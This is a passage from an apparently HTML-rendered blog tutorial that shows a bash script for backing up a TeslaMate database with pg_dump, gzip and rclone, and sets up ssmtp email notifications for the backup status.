&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Function to log messages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;()&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;date &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;+%Y-%m-%d %H:%M:%S&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; - &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$1&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; | tee -a &lt;span style=&#34;color:#f4dbd6&#34;&gt;$LOGFILE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Start of the script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Starting backup script.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Perform the database dump and compress it&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker compose &lt;span style=&#34;color:#91d7e3&#34;&gt;exec&lt;/span&gt; -T database pg_dump -U teslamate teslamate | gzip &amp;gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$?&lt;/span&gt; -eq &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Database dump and compression successful: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Database dump and compression failed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;exit&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Move the compressed file to the remote backup directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rclone move &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$BACKUPDIR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$?&lt;/span&gt; -eq &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Successfully moved backup to &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$BACKUPDIR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed to move backup to &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$BACKUPDIR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;exit&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Backup script completed successfully.&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As in the earlier step, run the script manually to test it and check the log file for messages.&lt;/p&gt;
&lt;h2 id=&#34;step-4---adding-email-notifications-&#34;&gt;Step 4 - Adding Email Notifications 📧&lt;/h2&gt;
&lt;p&gt;Finally, we want to be notified about the backup status. We can add email notifications to the script. We&amp;rsquo;ll use &lt;code&gt;ssmtp&lt;/code&gt; for this purpose. This simple mail transfer agent can send email notifications from the command line. We&amp;rsquo;ll update the script to send an email notification after the backup is completed.&lt;/p&gt;
&lt;p&gt;To send email notifications, you need to have an SMTP server configured. You can use your email provider&amp;rsquo;s SMTP server for this purpose. Our first step is to set up &lt;code&gt;ssmtp&lt;/code&gt; for email notifications&lt;/p&gt;
&lt;h3 id=&#34;step-41---installing-and-configuring-ssmtp&#34;&gt;Step 4.1 - Installing and Configuring &lt;code&gt;ssmtp&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Install &lt;code&gt;ssmtp&lt;/code&gt; on your system:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install ssmtp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Edit the &lt;code&gt;/etc/ssmtp/ssmtp.conf&lt;/code&gt; file to add your SMTP server details:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano /etc/ssmtp/ssmtp.conf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Add the following lines, replacing the placeholders with your actual details:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root=your-email@example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mailhub=smtp.your-email-provider.com:587
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AuthUser=your-email@example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AuthPass=your-email-password
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;UseSTARTTLS=YES
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TLS_CA_File=/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FromLineOverride=YES&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Edit or create the &lt;code&gt;/etc/ssmtp/revaliases&lt;/code&gt; file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano /etc/ssmtp/revaliases&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Add the following line, replacing with your actual details:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;your-username:your-email@example.com:smtp.your-email-provider.com:587&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To test the email configuration, we can create a simple script called  test_email.sh that sends a test email:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test email script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FROM_NAME&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Teslamate Server&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FROM_EMAIL&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;the-from-email-address&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;EMAIL&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;email-address-where-you-want-to-send-the-email&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;SUBJECT&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Test Email&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;BODY&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;This is a test email to verify the SMTP configuration.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; -e &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;To: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$EMAIL&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\nFrom: \&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$FROM_NAME&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&amp;#34; &amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$FROM_EMAIL&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;gt;\nSubject: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUBJECT&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$BODY&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; | ssmtp &lt;span style=&#34;color:#f4dbd6&#34;&gt;$EMAIL&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You should receive a test email at the specified address when you run the script. If you encounter any issues, review the configuration and ensure the SMTP server details are correct.&lt;/p&gt;
&lt;h3 id=&#34;step-42---timeout-for-email-notifications&#34;&gt;Step 4.2 - Timeout for Email Notifications&lt;/h3&gt;
&lt;p&gt;We can add a timeout to the email command to prevent the script from hanging indefinitely if the email-sending process takes too long. We&amp;rsquo;ll use the &lt;code&gt;timeout&lt;/code&gt; command to set the duration of the email sending. First, we must check if the &lt;code&gt;timeout&lt;/code&gt; command is available on your system. You can check this by running the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;timeout --version&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the &lt;code&gt;timeout&lt;/code&gt; command is not available, you can install it using the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install coreutils&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;step-43---updating-the-backup-script-with-email-notifications&#34;&gt;Step 4.3 - Updating the Backup Script with Email Notifications&lt;/h3&gt;
&lt;p&gt;Now that we have &lt;code&gt;ssmtp&lt;/code&gt; set up for email notifications, we can update the backup script to send an email notification after the backup is completed. We&amp;rsquo;ll add a function to send email notifications and call it at the end of the script. Here&amp;rsquo;s the updated script that includes email notifications:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Backup script with logging and email notifications&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;SOURCEDIR&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/teslamate &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Source directory where the data is located&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;BACKUPDIR&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/onedrive &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remote directory mounted via rclone&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FILENAME&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;teslamate-&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;date +%Y-%m-%d-%H%M%S&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;.bak.gz &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Date-time stamp filename&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;LOGFILE&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;/home/amit/backup.log
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;EMAIL&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;email-address-you-want-to-send-the-email-to&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Replace with your email address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FROM_NAME&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Teslamate Server&amp;#34;&lt;/span&gt;
